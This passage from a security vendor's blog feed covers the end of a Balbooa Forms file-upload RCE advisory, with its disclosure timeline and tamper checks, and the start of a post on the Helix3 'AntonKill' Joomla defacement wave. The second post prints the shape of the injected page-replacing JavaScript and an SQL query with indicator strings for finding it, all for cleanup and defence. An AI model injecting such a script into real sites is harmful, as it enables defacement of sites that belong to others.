&lt;td&gt;&quot;Security hardening&quot;, stated as administrative &lt;strong&gt;and user-facing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.balbooa.com/blog/forms/balbooa-forms-and-gallery-security-hardening&quot;&gt;18 August release&lt;/a&gt; covers five areas in the Balbooa Forms Joomla extension: authorization and access control in the Media Manager, path validation for internal file operations, payment validation so transaction amounts are verified during payment processing, parameter handling in post-submission PHP scripts, and validation of signature images. Balbooa Gallery 2.5.1.1 shipped the same day with the first two of those.&lt;/p&gt;
&lt;p&gt;Neither release was ours. Balbooa credit Akinlabi Omoogun and Sergiy Tryzhychynskyi for reporting them, and neither name appears anywhere in our own disclosure record. No CVE has been assigned to either so far, which does not mean none will be.&lt;/p&gt;
&lt;h3&gt;What &quot;Security Hardening&quot; Leaves You Unable to Work Out&lt;/h3&gt;
&lt;p&gt;Balbooa published no affected version range, no severity, no CVSS score, and state the release is not related to any publicly disclosed vulnerability. That is the vendor&apos;s call to make. The practical problem is that it leaves the person responsible for the site with no way to answer the only question that matters, which is whether their particular install was exposed and for how long.&lt;/p&gt;
&lt;p&gt;Three details in the release notes are worth reading closely, and none of them need a proof of concept to spot.&lt;/p&gt;
&lt;p&gt;The 31 July release said its improvements &quot;are limited to the Forms administrator area and require administrator access&quot;. The 18 August release drops that sentence and describes itself as covering &quot;administrative and user-facing functionality&quot;. Payment processing and post-submission scripts both run when an anonymous visitor submits a form, not when an administrator logs in.&lt;/p&gt;
&lt;p&gt;Payment validation that ensures &quot;transaction amounts are consistently verified&quot; is the description of a fix for amounts not being verified. On a form that takes money, the question that raises is who decides the price.&lt;/p&gt;
&lt;p&gt;Signature image validation is the third time in six weeks that the Signature field has been touched, and the second time for a security reason. The first was CVE-2026-65880, scored 10.0.&lt;/p&gt;
&lt;p&gt;We have not audited the difference between 2.4.3.1 and 2.4.3.2, so we are not calling any of this exploitable, and none of the above is a finding. It is what the vendor&apos;s own release notes say, read closely.&lt;/p&gt;
&lt;h3&gt;The Same Fixes Appeared in Gridbox First&lt;/h3&gt;
&lt;p&gt;The Media Manager and File System Protection rows in the 18 August release are word for word identical to the equivalent rows in &lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-2-3-bug-fixes-and-security-hardening&quot;&gt;Gridbox 2.20.2.3&lt;/a&gt;, published on 10 August. Balbooa&apos;s Media Manager is shared across the product range, so this reads as one piece of code being fixed in three products across eight days rather than three separate faults. If you run more than one Balbooa Joomla extension, treat a security release in any of them as a prompt to check the others.&lt;/p&gt;
&lt;p&gt;That matters here because Gridbox is the extension where a mySites.guru audit found &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;twenty-three vulnerabilities&lt;/a&gt;, on top of the earlier &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;authentication bypass&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;What This Looks Like Across the Sites We Manage&lt;/h3&gt;
&lt;p&gt;Which sites are behind turns out to be more revealing than how many.&lt;/p&gt;
&lt;p&gt;Across the Balbooa Forms installs we can see, &lt;strong&gt;around four in five are sitting on 2.4.3.1&lt;/strong&gt;. Those are the diligent ones. They read the 31 July notice, updated inside a few days, and are now being asked to do it again eighteen days later. Under one in a hundred is on 2.4.3.2 so far.&lt;/p&gt;
&lt;p&gt;More seriously, &lt;strong&gt;roughly one install in six is still on 2.4.2.1 or below&lt;/strong&gt;, which means still exposed to CVE-2026-65880, the 10.0 unauthenticated remote code execution fixed on 28 July. Those sites never actioned the last alert. Hardening is the least of their worries while a 10.0 remains open on them.&lt;/p&gt;
&lt;p&gt;For Balbooa Gallery, the wrinkle is the extension element. Balbooa renamed it from &lt;code&gt;com_bagallery&lt;/code&gt; to &lt;code&gt;com_gallery&lt;/code&gt; somewhere before the 2.5 line, and the two populations have not merged: every &lt;code&gt;com_gallery&lt;/code&gt; install we can see is on 2.4.1 or above, and every &lt;code&gt;com_bagallery&lt;/code&gt; install tops out at 2.4.0. If your Gallery install still reports &lt;code&gt;com_bagallery&lt;/code&gt;, confirm you are actually being offered the 2.5.1.1 update rather than assuming it, because an element rename is exactly the kind of thing that stops a Joomla update ever being offered, with no error to tell you so.&lt;/p&gt;
&lt;p&gt;Flagging all of this across a portfolio is part of the mySites.guru subscription: every connected Joomla site running Balbooa Forms below 2.4.3.2 or Balbooa Gallery below 2.5.1.1 is now flagged automatically, with the sites still exposed to the July remote code execution flagged separately and more severely.&lt;/p&gt;
&lt;h2&gt;Balbooa Forms Has Had Security Issues Before&lt;/h2&gt;
&lt;p&gt;This is not the first time Balbooa Forms has needed a security fix, which is worth knowing when you decide how urgently to act. The component has two prior SQL injection issues on record, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-47930&quot;&gt;CVE-2021-47930&lt;/a&gt; and &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2025-49485/&quot;&gt;CVE-2025-49485&lt;/a&gt;, both reached through the form submission &lt;code&gt;id&lt;/code&gt; parameter. Different flaw, same lesson: the parts of a form builder that face anonymous visitors are the parts that need the hardest scrutiny.&lt;/p&gt;
&lt;p&gt;That is not a knock on Balbooa specifically. It is the nature of the tool. A form builder exists to accept input from people you do not know, and that job is genuinely hard to do safely. The credit here is that when the upload flaw was reported, Balbooa acted on the same day rather than sitting on it.&lt;/p&gt;
&lt;h2&gt;Form Builders Are a Recurring Attack Surface&lt;/h2&gt;
&lt;p&gt;If you manage Joomla or WordPress sites, treat every form-builder extension as a piece of your attack surface that deserves regular attention. The exact flaw fixed here, an unauthenticated file upload of a dangerous type, is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, and it shows up across the form-builder category rather than in one vendor&apos;s code.&lt;/p&gt;
&lt;p&gt;The clearest recent parallel is Convert Forms, another well-regarded Joomla form builder, which patched an unauthenticated file upload of the same class in late 2024 (&lt;a href=&quot;https://github.com/advisories/GHSA-8fcw-x22m-3qx7&quot;&gt;CVE-2024-40744&lt;/a&gt;, rated 9.8 critical). Look wider and the pattern holds: &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms on WordPress&lt;/a&gt; had its own file-upload CVE through the same AJAX-handler weakness. When a category of extension keeps producing the same kind of bug, the sensible response is not to distrust one vendor, it is to monitor the whole category.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Caught This Without a Signature&lt;/h2&gt;
&lt;p&gt;If you already run sites through mySites.guru, this is the part worth knowing. We did not need a Balbooa-specific rule to catch this activity. mySites.guru watches for the behaviour, an anonymous visitor uploading an executable file, rather than a fingerprint of one particular extension&apos;s bug.&lt;/p&gt;
&lt;p&gt;That generic detection is what flagged the suspicious upload in the first place, and it is the same logic that catches &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, and JCE upload attempts. An attacker dropping a &lt;code&gt;.php&lt;/code&gt; file through a public form looks the same regardless of which extension left the door open, so we can catch new bugs of this shape before anyone has written a rule naming them. Signature-based tools only see an attack once someone has described it. Behaviour-based detection sees it the first time it happens.&lt;/p&gt;
&lt;p&gt;If a hostile file does land, the &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content tool&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoor and hacked-file detection&lt;/a&gt; find it across every connected site, matching it against known malware hashes and thousands of code patterns. Anything flagged can be sent for &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains in plain English what the file does.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every Balbooa Forms Site I Manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template, and framework on every Joomla and WordPress site in your account. You &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;search for Balbooa Forms once&lt;/a&gt; and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Balbooa Forms install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Balbooa Forms across every connected Joomla site and filter for anything on 2.4.0 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Across the Joomla sites we monitor, the same thing is true of Balbooa Forms as of most extensions after a quiet security release: a lot of installs are running older versions and nobody has updated yet. That gap between &quot;a fix exists&quot; and &quot;my sites have it&quot; is the whole reason this post exists.&lt;/p&gt;
&lt;h2&gt;Bulk Updating Balbooa Forms Across Every Site&lt;/h2&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites on an old version, push the update to all of them from one screen. The same routine covers any Joomla extension, plugin, or core update, so the workflow you set up once works for the next security release too. You can also switch on &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt; so future Balbooa Forms releases land without you lifting a finger.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing dozens of Joomla sites&lt;/p&gt;
  &lt;p&gt;The patch is the easy bit. Knowing which client sites run Balbooa Forms, and getting the update onto all of them, is the work. &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;See how mySites.guru manages multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If a particular site cannot be updated right away, unpublishing any public Balbooa Forms form that accepts file attachments takes the vulnerable upload handler out of reach while you schedule a maintenance window.&lt;/p&gt;
&lt;h2&gt;How Do I Check a Balbooa Forms Site for Tampering?&lt;/h2&gt;
&lt;p&gt;Updating closes the door. It does not tell you whether anyone walked through it first. Because the flaw allowed an anonymous visitor to drop a file and run it, a site that was on 2.4.0 or earlier could already have been touched, and you should check before you assume it is clean.&lt;/p&gt;
&lt;p&gt;Three checks, in order of value:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Look in the upload folder. By default Balbooa Forms stores attachments under &lt;code&gt;images/baforms/uploads/&lt;/code&gt;, in a subfolder per form. Anything there that is not an image or a document, and above all anything ending in &lt;code&gt;.php&lt;/code&gt;, is a red flag. On a single site you can run &lt;code&gt;find images/baforms/uploads -name &apos;*.php&apos; -type f&lt;/code&gt; over SSH.&lt;/li&gt;
&lt;li&gt;Check for rogue administrator accounts. Code execution is a fast route to a hidden Super User. In your Joomla Users list, sort by registration date and treat any administrator account you do not recognise as suspect.&lt;/li&gt;
&lt;li&gt;Hunt for modified and unfamiliar files. A foothold is a perfect moment to plant persistence elsewhere. Look for recently changed PHP files and for executable files sitting where uploads should not contain code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru runs all three of these across every connected site at once. The suspect content tool and hacked-file detection surface the stray PHP files, the extension and user inventory sorts every account across every site by registration date, and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; tells you the moment a new file appears or an unfamiliar admin logs in, rather than at the next manual check.&lt;/p&gt;
&lt;p&gt;If any of that turns something up, the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked recovery guide&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;how to fix a hacked site&lt;/a&gt; walkthrough cover the cleanup, and &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option if you would rather hand it over.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, and doing that for every extension across every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this Balbooa Forms flaw lands, you see exactly which sites are exposed in seconds instead of logging into forty admin panels to find out. And because the monitoring watches for the behaviour rather than a signature, it catches new upload attacks of this shape before anyone has written a rule naming them.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;CVE Record and Disclosure Timeline&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;10.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;The maximum possible score&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;There is no worse rating a vulnerability can get. It is unauthenticated, remotely exploitable in a single request, needs no user interaction, and ends in full remote code execution, so every metric that makes a flaw dangerous is at its worst here.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Full remote code execution&lt;/span&gt;
        &lt;span&gt;Actively exploited&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This flaw is now tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;, assigned by the Joomla CNA, the body that assigns identifiers for Joomla and its extensions, and crediting Phil Taylor of mySites.guru as the reporter. It is CWE-434, unrestricted upload of a file with a dangerous type, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction, and it ends in full remote code execution. On CVSS 4.0 that profile scores 10.0, the maximum, the same score and the same vector as the near-identical &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK flaw&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;), the CVE assigned one number earlier for the same class of bug.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Balbooa Forms (&lt;code&gt;com_baforms&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Balbooa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated arbitrary file upload to remote code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Up to and including 2.4.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;2.4.1, released 9 July 2026. &lt;strong&gt;Minimum safe version is now 2.4.3.2&lt;/strong&gt; (18 August 2026), after 2.4.3 fixed a second, unrelated unauthenticated RCE, CVE-2026-65880, that affected 2.4.1 and 2.4.2, and 2.4.3.1 and 2.4.3.2 added further security hardening&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The disclosure ran on a single-day cycle from evidence to fix:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8 July 2026&lt;/td&gt;
&lt;td&gt;A mySites.guru customer receives a Hetzner abuse report for a live Joomla site and brings us the raw access log. We trace the &lt;code&gt;POST&lt;/code&gt; to the Balbooa Forms upload handler, confirm the missing authentication and file-type checks in the code, and reproduce the full chain on a local Joomla install. The flaw is already being exploited in the wild. We disclose it privately to Balbooa the same day, and the vendor responds the same day.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9 July 2026&lt;/td&gt;
&lt;td&gt;Balbooa ships version 2.4.1, closing the flaw at four layers (server-side extension allow-list, MIME type option, forced server-side filenames, and a CSRF token check), crediting Phil Taylor as the reporter. The Joomla CNA assigns &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;. No proof of concept is published.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Read &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;the full roundup of a dozen Joomla disclosures we made in a single month&lt;/a&gt;, of which this Balbooa Forms flaw was one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the canonical definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely: allow-lists, signature checks, renaming, and storing outside the web root.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt; - a concise overview of the risk and the defences.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-upload&quot;&gt;PortSwigger Web Security Academy: File upload vulnerabilities&lt;/a&gt; - a neutral, in-depth reference on how these flaws work and how to prevent them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers, including safe file handling with &lt;code&gt;JFilterInput&lt;/code&gt; and &lt;code&gt;JFile::makeSafe()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - a Joomla file store where the first fix closed the anonymous route and left every registered user able to reach other people&apos;s files.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>balbooa</category><category>file-upload</category><enclosure url="https://mysites.guru/_astro/balbooa-forms-unauthenticated-file-upload-flaw.CDRevp3t.png" length="0" type="image/png"/></item><item><title>The Helix3 Defacement Lives in Your Database, Not Your Files</title><link>https://mysites.guru/blog/helix3-antonkill-defacement-wave/</link><guid isPermaLink="true">https://mysites.guru/blog/helix3-antonkill-defacement-wave/</guid><description>The Hacked by AntonKill defacement hits Joomla sites through the Helix3 framework, and the payload hides in the database where file scanners never look. Clean it in one click and find every affected site.</description><pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A Joomla site you manage shows a full-screen skull and the words &quot;Hacked by AntonKill&quot;. You do the obvious thing: run a malware scan, pull the files over SFTP, maybe grep the whole web root for anything suspicious. It all comes back clean. The files are fine. The skull is still there.&lt;/p&gt;
&lt;p&gt;You are not missing anything. The defacement is not in your files. It is in your database.&lt;/p&gt;
&lt;p&gt;Since around 5 July 2026, an automated botnet has been defacing Joomla sites through JoomShaper&apos;s Helix3 template framework, tagging them &quot;Hacked by AntonKill&quot; or &quot;Hacked by trenggalek6etar&quot;. The flaw it exploits, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-49049&quot;&gt;CVE-2026-49049&lt;/a&gt;, was one we reported and &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;JoomShaper patched in Helix3 3.1.1 on 29 June&lt;/a&gt;. The mass exploitation started about a week later, which is the pattern we see over and over: a fix ships, most sites do not apply it, and the window between public patch and public botnet is measured in days.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: The &quot;Hacked by AntonKill&quot; defacement wave exploits an unauthenticated flaw in the Helix3 framework (CVE-2026-49049) and injects code into the Joomla database, specifically the &lt;code&gt;params&lt;/code&gt; of your template style, not into a file. That is why on-disk malware scans and clean-file restores come back clean while the site is still defaced. mySites.guru&apos;s Helix3 Custom Code Hack tool finds the injected code in every template style and blanks it in one click, then you update both Helix3 plugins to 3.1.2 to stop it coming back. If you would rather do it by hand, the manual steps are further down. And because the same flaw can plant a silent Web3 wallet drainer instead of a visible skull, a clean-looking site is not proof you were missed.&lt;/p&gt;
&lt;h2&gt;Why Your File Scan Came Back Clean&lt;/h2&gt;
&lt;p&gt;The malicious code is stored in the Joomla database, not on the filesystem. When the attack succeeds, it writes JavaScript into the &lt;code&gt;params&lt;/code&gt; column of the &lt;code&gt;#__template_styles&lt;/code&gt; table, inside the Helix3 template&apos;s Custom Code fields: Custom JavaScript, Custom CSS, and &quot;Before &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt;&quot;. Every page that loads that template style then renders the attacker&apos;s script, which paints the skull over your content.&lt;/p&gt;
&lt;p&gt;This is the whole reason the standard cleanup playbook fails here. File-integrity monitoring compares files on disk. On-disk malware scanners read files on disk. A clean-file restore replaces files on disk. None of them look at a &lt;code&gt;params&lt;/code&gt; column in a database table, so all three tell you the site is clean while the defacement is served on every page load. As the German cleanup firm that documented this wave put it plainly, &quot;the malicious code does not end up in a file, but directly in the database.&quot;&lt;/p&gt;
&lt;p&gt;If you have ever spent an hour re-uploading core files to a defaced Joomla site and watched the defacement survive, this is why. You were cleaning the wrong layer.&lt;/p&gt;
&lt;h3&gt;The Version You Cannot See Is Worse&lt;/h3&gt;
&lt;p&gt;The skull at least tells you something is wrong. The more dangerous use of the same flaw does not deface anything. Instead of a full-page takeover, the attacker writes a stealth loader into those same custom-code fields: a small script that leaves your page looking completely normal while it pulls its real payload at runtime. In this wave that payload has been fake &quot;I&apos;m not a robot&quot; landing pages and Web3 wallet drainers that empty a visitor&apos;s crypto wallet when they connect it.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That box is the bait. It looks like the reCAPTCHA challenge people click through without thinking, but the click triggers the next stage of the attack rather than verifying anything. So a clean-looking homepage is not proof you were skipped. If a site runs Helix3 on a vulnerable version, the custom-code fields need checking whether or not a skull ever appeared.&lt;/p&gt;
&lt;h2&gt;Clean It in One Click With the Helix3 Custom Code Hack Tool&lt;/h2&gt;
&lt;p&gt;We built a dedicated tool for exactly this attack, and it is the fastest way to clean a site. On every snapshot, mySites.guru scans every template style on the site, not only the ones named &quot;helix&quot;, since Helix3-based templates ship under many names, and inspects the four custom-code fields the exploit overwrites: Before &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt;, Before &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;, Custom CSS, and Custom JavaScript.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;A style is only flagged on unmistakable malware tells: the boast phrase a defacement signs itself with, a script that replaces the page body or rewrites the page title, a hard-coded title tag injected into the head, or the loader fingerprints that give away the silent variant (a script sourced from an inline &lt;code&gt;data:&lt;/code&gt; URI, code run through &lt;code&gt;eval&lt;/code&gt; or &lt;code&gt;atob&lt;/code&gt;, or an on-chain blockchain call). Your own analytics snippets, meta tags, and custom CSS in those fields are left alone.&lt;/p&gt;
&lt;p&gt;When it finds something, one clean button blanks all four custom-code fields on every flagged style, re-verified server-side first, and touches nothing else in the template. When the site is clear, you get a plain result rather than a wall of noise.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Cleaning without patching just leaves the door open, so pair the clean with the update: bring both Helix3 plugins to 3.1.2 or newer and clear the Joomla cache. You reach the tool from any flagged site&apos;s snapshot, under the &quot;Hacked?&quot; checks, alongside the Rogue Super Admin Accounts and JCE Rogue Profiles tools. If you are not a subscriber yet, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one site and the snapshot will flag it there. Not sure the whole site is clean afterwards? Hand it to us and &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;we will fix it for a fixed fee&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How to Find the AntonKill Payload in Joomla by Hand&lt;/h2&gt;
&lt;p&gt;Look in the template style, not the filesystem. In the Joomla admin, go to Extensions, then Templates, then Styles, open your Helix3 style, and check the Custom Code tab. The injected JavaScript sits in one of the Custom JavaScript, Custom CSS, or Before &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; fields.&lt;/p&gt;
&lt;p&gt;The code you are looking for rewrites the whole page into the screen shown above. The markup differs between victims, but the injection follows the same shape:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;document.addEventListener(&quot;DOMContentLoaded&quot;, function () {
  document.title = &quot;hacked by trenggalek6etar&quot;;
  document.body.innerHTML =
    &apos;&amp;lt;div style=&quot;position:fixed;inset:0;background:#0a0a0a;z-index:2147483647&quot;&amp;gt; ... HACKED BY ... &amp;lt;/div&amp;gt;&apos;;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exact bytes vary between victims, but the shape is consistent. If you would rather search the database directly than click through the admin, query the template styles table for the tell-tale strings:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT id, template, title
FROM `#__template_styles`
WHERE `params` LIKE &apos;%innerHTML%&apos;
   OR `params` LIKE &apos;%AntonKill%&apos;
   OR `params` LIKE &apos;%trenggalek6etar%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;#__&lt;/code&gt; with your site&apos;s actual table prefix. Other strings worth grepping for in the same column are &lt;code&gt;document.title&lt;/code&gt;, &lt;code&gt;position:fixed;inset:0&lt;/code&gt;, and the very high &lt;code&gt;z-index:2147483647&lt;/code&gt; that keeps the overlay on top of everything.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
